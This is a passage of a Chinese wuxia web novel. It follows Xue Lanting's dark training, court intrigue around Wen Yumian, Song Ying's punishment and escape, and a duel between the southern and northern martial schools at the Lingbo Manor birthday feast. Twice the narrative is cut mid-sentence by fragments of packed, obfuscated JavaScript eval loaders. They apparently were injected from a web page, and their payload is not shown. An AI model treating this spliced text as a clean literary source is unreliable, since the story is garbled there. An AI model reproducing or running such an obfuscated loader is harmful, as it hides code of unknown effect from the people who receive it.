薛兰庭旧伤未愈,又添新伤,心境大受摧折,有次在窒息中醒来,竟发现自己居然无意识在掐自己的脖子,悚然大惊:“异人伯伯,你这不是魔功罢?” 异人森森一笑:“魔功可比不上,这是阎王殿带来的功夫。再练下去,你就能面不改色生啖人肉了!”薛兰庭一阵反胃。 有次神思恍惚间,薛兰庭竟看见了姜沅的脸。他眼睛骤亮,奔过去:“沅兄!沅兄!你来寻我啦!”姜沅后退一步,保持一个离他很近、却永远碰不到的距离,用一种似悲似喜,充满怜悯的目光看着他。 薛兰庭非要扑过去,胸口忽而一痛,后领被人拎了起来。异人骂道:“你要死就换个地方死,别吓坏小孩!” 薛兰庭低头一看,自己扑上去的哪是姜沅,明明是伏天剑的剑尖,胸口捅了个浅浅的窟窿。男童在门边惊悚地看着他,手虚抱着,酒坛碎裂在脚边,大叫一声跑出了门。 异人长叹:“这下老子的酒怎么办!” 功法虽邪,内力却是实打实地涨了。薛兰庭的丹田如燃着一团火,灼灼滚烫,顺着经脉往四肢百骸烧去。从前跟不恕散人练功,内力是涓涓细流,温吞吞地走;如今却像决堤洪水,横冲直撞,恨不得破体而出。 身上有用不完的劲,脑袋却越来越不对劲。有时坐着坐着,忽然想笑;有时走着走着,又莫名想哭。看见只飞鸟,想追上去;看见棵树,想一掌劈断。胸口像压着什么,又像缺着什么,说不上来。 他急需一个落点,于是他又想到了姜沅。 倘若此次活着回去,姜沅肯定不甘心自己的功夫超过她,她会缠着自己打斗,然后不情不愿承认:“好吧,的确有两把刷子,当得上我的朋友。” 或是一开始就没好气地看着他,斥道:“不是说不要随便相信别人吗!你看看你,把自己搞成了这个样子!”这时他就能辩驳:“异人伯伯是好人,你看,我的内力可强了!”姜沅便吃瘪地冷哼一声,别过脸去。他懊悔不已地跟在后面,祈求原谅。 薛大侠在秋风中凄凉地想着,树叶打着旋儿落下来,冷得他打了个喷嚏。 22. 出逃 提笔,描眉,缀色。一张活色生香的美人脸,便俏生生地浮于宣纸之上了。 作画人的眼底一片水波潋滟的柔情,偏头,望着窗外一抹秾红,轻轻弯了弯唇角。 “殿下,宋公子求见。” “快请。”搁下狼豪,将画卷压在一沓四书五经抄本下。 宋释刚进书房,便被窗台一盆烈火似的红牡丹吸引了视线,不知他这素爱雅净的友人,何时喜欢上了这种富贵花。太子眉目柔和,招呼道:“无妄,坐。” 宋释摇摇头,他今日注定要打破友人这份愉悦的,从袖中取出一卷密谍,递到太子手里。 太子一目十行,目光渐渐沉了下来,手越攥越紧。 蜀锦长袖一挥,密谍便狠掷于地。 “枉温御史素来以廉洁清明称道,孤尊之重之,竟与心术不正的剑南侯府暗通款曲!” 这反应在宋释意料之内。从丧母之痛中清醒后,他不费力气便查到了事情的始末,或者说,幕后主使根本无意隐瞒。 “太子可知温大人有一次子?” 太子皱眉,思索半晌,道:“那个病秧子?” “正是。”宋释弓身将密谍拾起,“此人名为温玉勉,温岱发妻所生,幼时被拐,数年方归。如今在大理寺任职。” 太子只略有耳闻,与温岱长子相比,次子显得有些不足道了。忽听宋释语气变得凝重:“此人心思深沉,阴鸷狡诈,行事不论后果。偏是这份狠厉,深得圣心。” “温大人对他百般纵容,从不约束。温玉勉年纪虽轻、官位不显,手中却握着替圣人料理暗事的实权。早几年尚知收敛,如今却愈发肆无忌惮。” 有传言说,他身染沉疴,没几年好活了。横竖最后都要替圣人背下所有脏事,索性嚣张到底。 太子一怔,声音微微发抖:“三月前林阁老一事,也是他暗中策划的?”宋释沉重颔首:“十有八九。” 这林阁老算得上太子老师,为人刚正古板,以包庇同族贪污罪名入狱,名目俱全,太子却一直不肯相信。此时得知细里,胸口一腔恨意几乎要烧出来。 宋释望着壁上那幅山水,在心底叹了口气。 温玉勉猖狂至此,若无倚仗,谁敢? 他这太子好友,重情重义,心怀万民,才思俱佳,分明是明君的好料子。若没有剑南侯,倒也罢了。可偏偏有这么一个老臣——曾为圣人开疆拓土,是过命的兄弟,又是如今的擎天之柱。 太子对上他,如山压顶,动弹不得。 宋释走后,太子关上凉风侵袭的窗,回椅呆坐,看着书卷底下露出一角的美人图,心中愁云惨淡:“朝中风云莫测,我却还想着风花雪月,实在有愧于人。” 抽出画卷,就要撕开。目光触及那张在梦中造访了无数遍的脸,气力尽失,酸楚烦闷俱起,索性将画一卷,藏于抽屉最深一格。 宋释回府,就见弟弟坐在院子树墩上,裹着貂裘吹冷风。他走过去敲了他脑门:“你不是说要抄经么,抄完了?” 宋瑛吃痛回神,捂着额头起身:“抄完了!哥——下个月你是不是要去虞州?”宋释道:“你从哪听来的?”宋瑛抓他袖子,十足热切:“没有谁,你就说是不是嘛!你要去见那群江湖人了!” 宋释道:“你可还记得帮助过我们的凌波山庄?他们庄主程茂五十大寿,我备了些薄礼,可最近抽不开身,只能派旁人去了。” 宋瑛扬声道:“我要去!反正你不想我无所事事,那给我点事做嘛。” 宋瑛这段时间不仅遣散侍妾,还老老实实待在府里,主动为母亲抄经七日,可谓是改邪归正了。宋释知他少年心性闷不住多久,正要答应,却见齐宁从拐角出来,一脸扭曲地冲他摇了摇头。 宋释正色,拍拍宋瑛的肩膀:“那得看你这几天的表现了。” 宋瑛大喜:“哥,我不会让你失望的!我再去抄一遍《地藏经》……不,三遍!” 宋瑛一蹦三跳回屋,齐宁后脚就走了出来。宋释脸上的欣慰还未淡去,道:“方才何事?” 齐宁向来有话直说,甚少扭捏,如今却喉咙卡着苍蝇般,面色古怪憋胀。他取出一物,硬巴巴道:“我帮二公子收拾抄书时,发现了……这个。” 宋释接过那卷无封书册,甫一打开,如遭五雷轰顶,劈了个外焦里嫩。 齐宁道:“主子……我、我也不是故意的,但谁曾想,二公子竟……私藏这种东西!实在有辱……”他面色恼红,恨不得自戳双目,“二公子常问我江湖事宜,我以为他梦想当大侠客,原来……醉翁之意不在酒罢!” 宋释大怒摔书:“让宋瑛滚去思过堂,上家法!” 刚回屋的宋瑛,正叼着笔撑在窗前,美滋滋幻想着下个月再次见到某人的场景。冷不防房门被破开,几个雄赳赳气昂昂的侍卫闯了进来,把一脸懵的他架往一个十分不妙的方向。 “你们干什么?哥!哥!” 随着鞭子一同落下的,是一卷被撕裂的书。宋瑛顾不得身上疼痛,心头一跳:“这、这怎么会在这里?” “那该被你藏在哪儿?”宋释抓住他的衣襟,咬牙切齿,“宋瑛!你抄经时脑子里装的都是什么龌龊事?我让你把那群女人送出府,不是为了让你染上龙阳,甚至对恩人……产生这种淫思!” 宋瑛的脸惨白如纸,“不是的哥!我只是仰慕他,我没有……啊!”宋释哪里肯信他的鬼话,一连落下数十鞭,毫不留情,非要把他一身顽骨抽落不可。 宋瑛惨叫着抱头鼠窜,满屋闪躲,宋释差点被气晕在地,最后还是让属下擒住宋瑛,招待完一整套家法后,将他禁足在院子,三个月不许出。 宋瑛打出生起,还是头一回遭那么大罪,全身几乎皮开肉绽。身上痛苦,心里更甚,切齿地想:“我都按照哥哥的期望,断交朋友,遣散情人了,他还不满意,他比爹娘管的还多,凭什么!” 又惶惶流泪,“我是真心仰慕姜大侠,活不成他的样子,留个念想也不行么?我又没真的对他……哎,我有什么错?我最大的错就是让哥哥看见,可恶的齐宁——” 伤口尚未痊愈,凌波山庄庄主寿辰却将近了。秣陵宋府距凌波山庄较近,离焚阳山庄却隔了十万八千里。宋瑛想再次见到那人,必定不能错过此次机会。 他趁兄长离府一日,支开侍卫,在偏僻的西院点了把火,趁众人手忙脚乱灭火之时,偷走丞相府令牌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋瑛一听,当即拍了拍胸脯:“这有何难!到时候,我带你进去便是。”他虽无请帖,可丞相府的令牌,在凌波山庄眼里,比什么帖子都好使。 青年道:“那便麻烦小公子了。” 此次寿宴,除三大山庄外,五湖四海的豪杰亦纷至沓来。场面之盛,人数之众,便是武林盟主大会也恐不及—— 只因凌波山庄近日得一功法,据传乃失传已久的《妄经》。一时武林震动,羡者眼红,妒者切齿,人人渴望一睹此至法之奇伟。 青年商队借由宋瑛的令牌,顺顺利利成为了凌波山庄的座上宾,入住别院。 温冕——或者说温玉勉,听着属下的通报,信手修剪一瓶早梅的花枝。 “主子,那边已安排妥当,明日凌波庄主寿宴,定会送上一份‘大礼’。” 温玉勉道:“宋释那弟弟呢?” “他近日一直在打听焚阳少庄主,还躲着本家的人走。” 温玉勉轻笑一声,“既然都来了,光送凌波一份大礼怎么够?同为三大庄,焚阳可不能落。” “属下愚钝。主子的意思是……?” 温玉勉取出一只小药瓶,摩挲瓶盖,漫不经心,“宋瑛不是对焚阳那位小少庄主念念不忘、思之如狂么?此为七情香,凡沾上一点,便欲|火焚身,理智全无。” “寿宴那日,把他送去焚阳少庄主房中。让天下人好好看看,这两个男人,如何在光天化日之下苟且——” 23. 寿宴 清凌凌的日光漏进来,照得一室浮尘飞扬。四五口檀木红漆箱笼,齐齐整整列着,姜郃掀开一口箱盖,扫了一眼,撇撇嘴。 “雅山石墨,龙泉剑谱……程茂这次大寿,我们有必要送这么多厚礼?” 姜沅手执礼单,一面对账一面道:“说是寿宴,不过是借这名头广招弟子、拉拢合作罢了。听说衡越派连镇山剑石都送了来,咱们自然不能敷衍。” 凌波山庄这几年势头渐颓,险些跌出南派三大庄之列。庄主程茂,六分懦弱,四分油滑,肚里藏不住事,一逮着发展机会,恨不得敲锣打鼓昭告天下。 姜郃嗤道:“一部不知真假的功法,也好意思拿出来显摆。” 他对凌波、邀月都没什么好脸色。若硬要分个高下,那对凌波的厌恶自然更胜一筹——程书青先是设计害残姜少旻,又在圭月岭借刀杀人暗算姜沅,可两件事的证据要么找不着,要么被毁得一干二净,真是哑巴吃黄连,有苦说不出。 老子懦弱怕事,儿子阴险歹毒。真让凌波广招门徒,待程书青上位,武林还不得乌烟瘴气、永无宁日? 三庄之中,若问有谁能真正担得起第一人之位,怕只有…… 姜郃悄悄抬眼,望向正低头核对礼单的姜沅。目光里带着几分敬服,胸口不由得挺了挺,一股与有荣焉的骄傲油然而生。 门被敲响。阿渠领着几名焚阳弟子入内,敛衽一礼:“少庄主,人带来了,寿宴即将开始。” 她今日着一袭水蓝色长裙,日光下隐隐有波光流动,亭亭款款。入庄数月,弟子们起初只当她是株意图攀附姜沅的菟丝花,心中虽有不屑,也只得藏着。谁知阿渠一双妙手,不仅让姜少旻双腿伤势大好、重续知觉,还主动为不少弟子治伤,渐渐赢得众人好感,在焚阳站稳了脚跟。 姜沅合上礼单,“把这些箱笼抬过去吧。” “是。”阿渠吩咐众人将寿礼抬走,又折回姜沅身边,踌躇片刻,低声道:“少庄主,我……想去凌波山庄后山一趟。” 姜沅道:“去那儿做甚?” “后山有一口月牙池,池里生有一种奇花,是……治疗姜少旻公子腿疾的紧要药材。可凌波把管甚严,我……” “待寿宴开始,你带几个身手利落的师弟,从西南方绕路去吧。”姜沅看她一眼,嘴角噙着一抹意味不明的弧度,“你待我兄长,的确用心的很呐。” 阿渠垂首,咬唇道:“我这个人,治了病便想治到底,不然心里不踏实。更何况……那是您的家人,自然更该尽心。” 姜沅淡淡道:“好罢,我可没怪你。” 离开别院,折入回廊。池中只剩残荷枯梗,蛛丝悬垂,岸边的月轮花淡蓝一片,兀自吐着淡淡幽香。 姜沅刚收回视线,拐角处忽然撞出一人,端着热汤匆匆而来。她躲闪不及,黏腻滚烫的汤汁洒了半身。 姜郃一把推开那人,骂道:“拐弯不长眼睛么!” 那人见是焚阳少庄主,登时慌了神,连连躬身:“恕罪恕罪!小的不是有意,实在是前头催着上菜……” 他穿着侍卫衣裳,虎口却有一道旧疤。姜沅扫了一眼,心下了然,知是此番凌波山庄来客众多,人手不够,怕是连弟子也拉来充役了。这些没干过细活的,毛手毛脚,少不得惹些乱子。 “算了。”姜沅掸了掸衣襟,“我下去换一件。姜郃,你先去前厅寻我父亲。” 所有人皆往会场涌去,笑语喧阗,唯独姜沅一人逆着人潮而行。 行至半途,远远瞥见几道身影鬼鬼祟祟,架着什么东西,竟是往自己别院的方向去的。姜沅心下生疑,正要跟上去,一名侍女迎面而来,见她满身狼藉,顿时了然:“少侠若要更衣,可随我来。” 姜沅只得暂且按下疑窦,随她往另一处院落去。 然而人要走起背运来,喝口凉水都塞牙。那厢原是备着给客人临时置换的衣裳,竟已被用尽。侍女连连致歉,又领着她辗转数处院落,寻了半晌,却要么料子粗劣,配不上贵客身份;要么不知收在何处,翻箱倒柜也找不见。 待好不容易寻到一身得体的黛蓝衣裳,寿宴的开场舞,早已落下了最后一拍。 “他还没来么?” 姜甫阁摩挲扳指,面色阴晴不定。 姜郃到处找补:“呃……许是路上碰见熟人,被拉着多说了几句……凌波今日人多眼杂,姜师兄如今名声在外,走到哪儿都有人想攀交情。” “盛湖山庄,贺礼——” 唱礼官高声报礼单,四名弟子抬着紫檀木箱上前。 “献东海夜明珠一对,碧玉珊瑚一株,七星宝剑一柄!另赠锦缎百匹,药酒十坛!” “衡越派,献衡山镇剑石一块,《衡越剑谱》手抄本一套,玄铁轻剑一柄!另赠山中野参十株,鹿茸二十对!” 寿宴之上,群雄毕至,觥筹交错,满堂欢声雷动。冷清了数年的凌波山庄,仿佛一日之间活了过来。 凌波庄主程茂油光满面,听着各门各派的祝寿词,笑得眼角褶子都堆了起来,一杯一杯灌酒:“客气!客气啊!各位好汉肯来,便是程某天大的脸面!” 程书青在侧座,眯眼看着满堂如云宾客,嘴角似笑似嘲:“这阵仗,如何?” 程骇道:“怕是连扶摇盛会也比之不及了。” 不知想到何事,程书青眼底笑意渐渐淡下。他本生得一副阴柔苦相,平日不苟言笑,仿佛只要跟这双刻薄深邃的眼睛一对上,下一秒就要被恶意挑刺般。这样一张脸,笑与不笑是没什么区别的。 程骇的注意力已然被寿宴吸引,继续感慨:“这回光是递了拜师帖、求入门的年轻弟子,便有三千之众。焚阳内门,也不过五百余人。” 程书青的目光扫过焚阳山庄的坐席,姜甫阁身边空了一座,放在以前,一定是那人的专属,如今换成了新任的少庄主。 唱礼声刚落,广场入口却又涌进几人,抬着漆木大箱,鱼贯而入。 程茂伸长脖子:“这是……” 丝竹声渐渐消歇。座中相视,俱是疑惑。那几人面生,一副商队装扮,何时入的山庄? “程庄主,怎么就把我们忘了?” 为首的青年,脸覆玄色面具,语调亲昵,甚至带着几分顽皮。可说出来的话,却像一盆冰水浇进滚油里。 “你们助我丞相府屠杀武林莽夫,这份大恩,我们可是万万不能忘的。” 话音未落,满堂色变。 一名门主霍然起身:“程茂!他说的是真是假?你凌波山庄……当真帮着朝廷的狗,杀我武林兄弟?!” “我早听说凌波与丞相府往来密切,还当是谣言,没成想——” “冤枉!天大的冤枉!”程茂脸都白了,丞相府的人早在前几日私下送来贺礼,怕的就是引人注目,谁知这群人打哪儿冒出来的。他连连摆手,“他们是假货!不知哪里混进来的流氓!来人,快来人,把这群疯子轰出去!” 温玉勉微微一笑,五指摊开,掌心坠下一块令牌。 “我等奉宋百龄宋相之命而来,岂敢伪造?” 他声音温温柔柔,不高不低,却清清楚楚送进每个人耳朵里。 “相爷还让我问庄主一声:可愿入朝为官?程庄主此番立下大功,为何非在武林虚耗年华?合该受朝廷荫庇,享一世荣华啊。” 这般将武林的脸面踩在脚下狠狠碾压的话语,众人听着耳朵都要刺出血来。邀月庄主薛青锋拍案而起,怒目圆睁:“程茂!枉我敬你为南派三柱之一,这些年同气连枝,共进退、同荣辱——你倒好,转头就投了朝廷,当了官家的狗!” 洞庭刘家家主也站起身来,叱道:“我刘家三代与你凌波交好,每年寿礼从不敢轻慢。今日才知,你收着我们的礼,转手就把我们的人卖给朝廷!” “亏得凌波还得了一部《妄经》,这种背信弃义之徒,也配修习武林至宝?” “把他轰出三大庄!他不配!” “对!不配!” 一声重重的碎瓷声响起,程书青面色铁青:“荒谬!他说什么你们就信什么?你们可知,那批丧命的江湖人,是些什么货色?” “不管什么货色,都轮不到你们来杀!各人寻各人的怨,各门了各门的仇,这是江湖的规矩。往后我武林弟兄犯了禁,难不成还让当官的来讨公道?!” “今日你凌波替朝廷杀人,明日朝廷就能替武林立规矩。到时候,咱们还叫什么江湖人?叫顺民!” 群情激愤,眼看就要控制不住。程骇一拍桌,起身,大喝道:“诸位!” “说我凌波替朝廷杀人,好,我问一句:那群人强抢民女时,诸位在哪?凌辱良家时,诸位在哪?” 有人不悦道:“程骇,你什么意思?” 程骇没有理会,掷地有声:“他们强闯民宅,劫掠民女,趁火打劫,不辨是非。打着江湖人的旗号,干的是畜生的勾当。若这也叫‘江湖弟兄’,那这江湖,早就该亡了!” “屠刀握在江湖人手里,就是侠;握在朝廷手里,就是狗?” 薛青锋一琢磨,好似有几分道理,便又坐了回去。姜甫阁置身事外,时不时望着旁边空荡荡的座位皱眉。姜郃本来想去寻姜沅,一看大伙儿吵了起来,又被吸引了注意,一会儿愤怒握拳,一会儿深思点头。 辛燕儿道:“程少侠所言在理。侠在骨,不在皮,武林是护着弱者的刀,不是护着畜生的盾。一片青天下,哪能真正泾渭分明,总有力所不及处,吾辈断没有视而不见的道理。” 不少人心中动摇,陆续坐回,按兵不动。 程骇感激地看了辛燕儿一眼,抱拳朝四方一揖:“凌波行事,只问四个字:问心无愧。若护着无辜也叫朝廷鹰犬,那我们凌波山庄,认了。” 复而望着会场中央的温玉勉,道:“至于入朝为官……凌波上下,没那个福分。您请回吧。” “啪、啪、啪。”温玉勉拍了几掌,赞叹道:“说得好啊。” 众人只觉他这态度莫名其妙,正要开口逐客,却听他悠悠道:“武林之中,武有焚阳少庄主,侠有邀月双轻剑,如今,文有凌波程骇——” “可谓三星同耀,未来可期啊。” 他所言,正是近日武林暗中流传的说法。“双轻剑”指的是邀月山庄,善用双剑的薛炳之。扶摇以后,人皆以为,焚阳新锐姜沅,与积望已久的邀月薛炳之,乃年轻一代的武学魁首、侠义表率,也是武林未来的希望。话语中,虽不提及凌波,却句句在轻视凌波,年轻一代无人。 此言一出,不知内情的只当是夸赞。首座旁的程书青,颅内一轰,心中宛如豁然刺了根铁钉,血液上涌,就要从鼓胀发黑的眼里逼出。 “什么三星同耀,这话是不把我放在眼里罢?” 众人头顶落下一道清朗豪迈的嗓音,广场周围一根冲天高的石柱顶端,不知何时斜喇喇坐了一人。 银色护腕,辫饰青翎,一双鹰目居高临下睥睨而来。古铜色胸膛上缀着细碎宝石,在日光下熠熠闪光,整个人往那儿一坐,活像一尊从天而降的煞神。 姜甫阁眉头一拧:“北派人?” “北派游凤回,前来讨教。” 话音未落,那人足尖一点,跃至石柱间纵横交错的彩带,顺着垂幔借力飞身而下,行云流水,如化清风。 座中有人倒吸一口凉气:“小青凤?!这轻功,怕是比焚阳少庄主还……” “游师兄,怎么劳你亲自下场?” 另一道声音响起。童非从另一边柱子后头转出,身后跟着几名同门,皆面带笑容,“我们可是来为程庄主庆寿的。南北武林分立久矣,江湖却是一家,当然要客客气气的。” 游凤回道:“你客客气气,你怎么不走正门。” 童非愧道:“小弟在南派名声不显,差点当成骗子轰出去,实在令人心寒。此次我代表北派童家庄,千里迢迢为程庄主祝寿,不知欢不欢迎啊?” 满堂静默一瞬。温玉勉道:“自然是欢迎的。连我们这种朝廷鹰犬都能来,同为‘惺惺相惜’的江湖弟兄,有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“比就比,谁怕谁!” “到时候可别哭唧唧滚回去,找你们家主告状!” 游凤回将刀往肩上一扛,悠悠抬步,道:“拭目以待。” 衡越派送的镇剑石,被放置于凌波后山最高峰。放眼望去,秋风肃杀,铁树凝霜,一派冰天雪地的荒凉景致。 可这寒意,浇不灭众人心中那团灼灼烈火。 镇剑石约有两人高,近乎五百载历史,坐落在积雪平地中央,背靠一结满冰棱的参天古木,硬如钢铁,表面有深深浅浅的剑气划痕。 游凤回摸着最深的那一道剑痕,“这便是南派袁飞白留下的,可惜啊。” 程书青冷冷道:“可惜什么?难道你能刻得比他还深?” 游凤回一愣,旋即哈哈大笑:“什么话?你可知——这袁飞白,是死在谁手里?” 姜甫阁眉心一抽:“……你!” “什么?!” 众人胸中的气焰,一下子被冷水浇灭,不敢置信地瞪着游凤回。 袁飞白!那是何等惊才绝艳的人物! 温玉勉裹紧属下递来的狐裘,皮肤苍白透明到可见血管,幽幽道:“要比就比,能不能快点?” 姜甫阁环视一圈,见众人面色各异,低声问姜郃:“姜沅怎么还没来?” 姜郃道:“快了!快了!正在上山的路上。” 游凤回迎着众人或忌惮,或愤恨,或不屑的目光,信步走到镇剑石前,抽出青云破穹刀。刀身出鞘,一声浅浅龙吟,清越悠长,在寂静的山巅荡开。 众人嘴上不言,心中俱是翻山倒海。眼看他持刀比划,气沉丹田,双手握住刀柄往镇剑石上狠狠一劈—— 一刀落下,周身风雪骤然呼啸而起,白光刺目,几乎要将天地撕开一道口子。 待再睁眼时,已是一片死寂。 镇剑石上,袁飞白当年留下的那一道印记,已被完完全全覆盖。取而代之的,是一道深逾半石、几乎将整块巨石劈成两半的刀痕。 “哐当。” 满怀斗志想跟他一决高下的弟子,长剑掉落地上。 薛青锋颤抖着指向剑痕:“这……这……”若在平时,他定要击节赞叹、大声喝彩。可来者不善,立场相异,他只能将期盼的目光,投向自己最引以为傲的薛炳之。 众人踟蹰。薛炳之面色凝重,自告奋勇:“我来吧。” 可惜,他用尽全力一剑落下,剑痕不过游凤回的一半。 薛朗安慰满面愧疚的薛炳之:“师兄,你做的很好了,是他们太……” 程书青面沉如水,拔剑上前。可他的剑痕,连薛炳之都不及。程茂见状,深深叹了口气。 随后,程骇、姜郃等人各自留下一道剑痕,就连不善刀剑的辛燕儿也挺身一试,却终究没有超过青云破穹刀留下的那一道。 南派人的脸渐渐有些挂不住了。 偏偏游凤回还笑了一声:“看来南派,这些年没落了啊。” 童非叹道:“我早说过,游师兄出手,萧盟主以下,无人能敌。” “谁说的!”一名焚阳弟子站出来,脸涨得通红,“扶摇魁首都未到场,现在放话,未免太狂了!” “狂?天底下,只有游凤回能担得起一个‘狂’字。”温玉勉微笑,继续说着让人恨不得一剑捅死他的话,“你既如此推崇你家少庄主,那说说他为何不到场,难不成是早已得知游少侠大名,怕得躲起来了?——聪明呀,不比的话,他就一直是第一了。” 游凤回道:“你们只消告诉他,他如果来了,也不用试剑了,若能接下我三招,我便服气,自此不入南派。” 姜郃正要讥讽,忽看到他身后,眼睛骤亮:“姜师兄来了!” “姜大侠!快来!” “快给他们点颜色瞧瞧!” 温玉勉边冷笑,边回头:“来就来,就算来了也……” 随即,整个人被钉在原地。 游凤回瞥一眼,不以为然:“就算十个姜师兄来了,也救不了你们。到头来,还不是得被我打趴下。” 他一生从无败绩,眼中也从没真正装下过谁。袁飞白算有些能耐,可败了便是败了,愿赌服输,自行了断,倒也算条汉子。至于袁飞白之后,不过庸庸之辈,乏善可陈。 温玉勉突然道:“你话说的有点满了吧。” 游凤回:“?” 24. 挑衅 游凤回以为自己听错了:“什么?” 方才还舌灿莲花的温玉勉,此刻却像被人扼住了喉咙,面具下神情莫辨,整个人绷成一张拉满的弓弦。 姜沅的目光缓缓扫过众人,不作停留。来路上已听闻朝廷与北派大闹寿宴之事,此刻一见镇剑石上那道狰狞刀痕,再看众人脸色,瞬间便明白发生了什么。 姜郃迎上来,眼里又期待又担忧:“姜师兄……他们实在欺人太甚,简直不把南派放在眼里!” 不止是他。满场南派人的目光,此刻都落在她身上,期盼,焦灼,恳求,孤注一掷。于他们而言,姜沅是唯一,也是最后的希望。 薛炳之惜败,薛兰庭下落未明。若她输了,便意味着南派武林,从此在北派面前,彻彻底底抬不起头。 游凤回手中那柄青云破穹神刀,世间独有,但凡交战过一次,便永不能忘记那种威胁到性命的压迫感。 上一次,它映着泠泠月光,打得她几无还手之力。 这一次,它映着皑皑白雪,再次向她宣战。 “沅儿。”姜甫阁知她底细,也知她毫无退路,抬手按住她肩,叹息般唤了一声。 “头可断,血可流,我南派的脊柱,不能弯。” 姜沅颔首,缓步上前,对上游凤回的视线:“我跟你比。” 童非才知道她就是焚阳少庄主,从震惊中回过神来,又觉理当如此,遂递个台阶道:“姜少侠,此次南北两派,切磋而已,不必动刀动枪。就在这镇剑石上,留一道痕便是。输赢不过一时,情义自在人心。” “情义?”盛湖庄主辛梅娘嗤之以鼻,“你们擅闯山庄,搅乱寿宴,当众辱我南派,谈何情义?” 童非一噎。姜沅道:“镇剑石试的是内力,可武学一道,从来不止内力。真要分高下,不如真刀真枪,痛痛快快打一场。” 薛炳之猛然抬头:“姜少侠,北派下手不知轻重,何必……”来者不善,若刀剑斗之,岂不正合了对方的意?镇剑石上那道痕迹,犹如天堑,姜沅再厉害,也未必能超过当年的袁飞白,更枉论此狂徒。 姜沅自己又何尝不知。她于内力较劲上毫无胜算,倒不如换一种方式,斗场招式变幻莫测,更有望搏一线生机。 眼见双方就要打起来,温玉勉焦躁地摩挲指节,一侍从悄悄来到他身边,喜滋滋邀功道:“主子!一切办妥!只要姓姜的一回房,保准叫他身败名裂!” 哪知温玉勉登时大怒:“蠢货!把那傻子丢出去,有多远丢多远!” 属下骇然哆嗦:“啊是、是是是……” “等等。”温玉勉叫住他,压低嗓音冷冷道,“找个机会,把童家庄带来的那人放出去,尽快。” 属下愣了一瞬,虽不明其意,却被那语气里的寒意激得一凛,忙不迭领命而去。 那一头,姜沅走到盛湖庄主辛梅娘面前,抱拳道:“辛庄主,不知能否借您武器一用?” “自然。”辛梅娘果断取下背后长兵,往前一递,关切地深深看她一眼,“尽力而为,点到为止即可。这小子若真敢……就算拼了我这把老骨头,受世人诟病,也要叫他好看!” 她作为盛湖山庄的主人,辛燕儿的生母,武学崇尚海纳百川,门下弟子十八般兵器各有所长,自身更是精通十数种兵刃。今日她随身带的,是一把长柄钩镰枪。 姜沅接过钩镰枪。但见枪尖雪亮,侧枝月牙弯刃泛着寒光,枪身修长,稳稳当当横在掌中。 这样一柄长枪,枪走偏锋,钩刺挑拿,变化无穷,最克制以爆发刚猛称雄的弯刀。 只是……姜沅于枪法上的造诣,远不如鞭法与轻剑的造诣,此番实属破釜沉舟,背水一战。 游凤回一眼看出她的实力,提刀微哂:“自寻死路。” 两人并立雪中,剑拔弩张,一触即发。南派众人激切愤慨,鼓噪如雷,姜沅却神色丝毫不变,反有股视死而归的气慨。游凤回目光幽深如天宇,问:“明知不敌,为何要战?” 姜沅道:“临难毋苟免。昔日霸王宁死不渡江,晏婴拒逃守城门,今日我若后退,那南派武林这‘城门’,便无人守了。” 游凤回不留情戳破:“可你守不住。” “守不住也要守。” 姜沅掂了掂手中长枪,枪头横挑,在雪地划出一道半圆弧。 “胜负事小,万不能让世人看轻了我南派,以为什么阿猫阿狗,都能来我们头上踩一脚。今日我若不战而退,他日黄泉路上,有何面目去见那些曾为南派断剑的先辈?后来者,又怎敢向前?” 她若畏缩,怎对得起同门一句“少庄主”,未来又怎能独挑大梁,剑指江湖,群雄辟易,扬名立万,八方俯首? “无论结果如何,我姜沅,宁可折戟南山,不教屈膝北地。当为则为,但求心无悔,何惧身成灰!” 山风骤烈,天地间一杆长枪擎于漫天风雪中,不动如山,寒光凛凛,枪头一束红缨如火苗狂舞,在每个人心中点燃一团热焰,消去漫山苦寒。 众人攥紧手中武器,目光紧紧追随场地中央,那道衣袂猎猎,立如孤松的修长身影。有畏敌者,满面羞愧;有颓废者,重燃热血;有不服输者,持剑高呼相和。 温玉勉身体微微晃动,嘴唇紧抿,如刀的寒风灌入胸腔,牵引心脉一鼓、一鼓跃动,麻木又刺痛。 游凤回盯着姜沅看了半晌,森森一笑:“有意思。既然如此,我便全了你‘折戟南山’之愿。” “且慢。” 薛炳之踏前一步,扬声道:“姜少侠大义,我薛炳之自愧不如,但也不是抛弃同袍、苟且求全之辈。方才镇剑石一试,不算真章,我不服气,也想向游少侠请教一番。” 辛燕儿亦持双环出列,声如裂冰:“我管你什么凤凰野鸟的,你堂堂正正比试还好,若敢对姜少侠公报私仇,威胁性命,我盛湖山庄定不会让你活着走出南派!”双环铿然一撞,寒光迸溅。 “呀。”游凤回挑眉,“还真当我是什么十恶不赦的蛮徒了?” 温玉勉道:“你竟不是么。” 游凤回摇头叹息:“世人眼盲,真正十恶不赦的,分明在我旁边。” 温玉勉冷冷瞥他:“你最好安分一点,倘若焚阳少庄主少了一根汗毛,你也不消出凌波山庄。” 游凤回眯眼,还未说话,对面的姜沅便道:“请罢。” “姜少侠……”阿渠忧心忡忡,轻扯姜沅的衣袖。姜沅安慰地拍拍她的手背,持枪上前。山风卷过,鬓发飞扬,枪尖一簇火苗迎风越烧越炽。 一步,两步。 满场寂静,雪在她脚下碎裂。 袁飞白已死。南派新一代,真就无人了么? 所有在场的南派人,抬起头颅,心底都许着同一个愿望。擂鼓般的心跳声,一记,一记,敲响在每个人胸腔里。 长枪铮然。弯刀裂空。 金铁交鸣之声,撞碎满山寂静。 游凤回的 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姜沅虎口迸裂,血色晕染衣襟,手下攻势却不减。温玉勉手指攥得发白,时不时看向上山来路,焦灼不安。 “锵——” 枪尖与刀刃相撞,内力沿着武器无声对抗着,僵持不下。 游凤回劈手一压。姜沅双足深陷雪地,猛地喷出一口鲜血,溅在枪杆之上,触目惊心。 “少庄主!”姜郃、阿渠等人异口同声。 薛炳之拔剑就要上,童非眼疾手快,横臂拦住道:“公平比试,想打的一个一个来。还未结束就插手,有失公道吧?” “够了!”温玉勉厉喝,“游凤回,给我停下!” 游凤回置若罔闻,弯刀一寸一寸往下压,刀锋上凝着一层寒霜,映出姜沅苍白的脸。 “佛祖幻化五指山,压的就是你这种不知天高地厚的顽猴。” 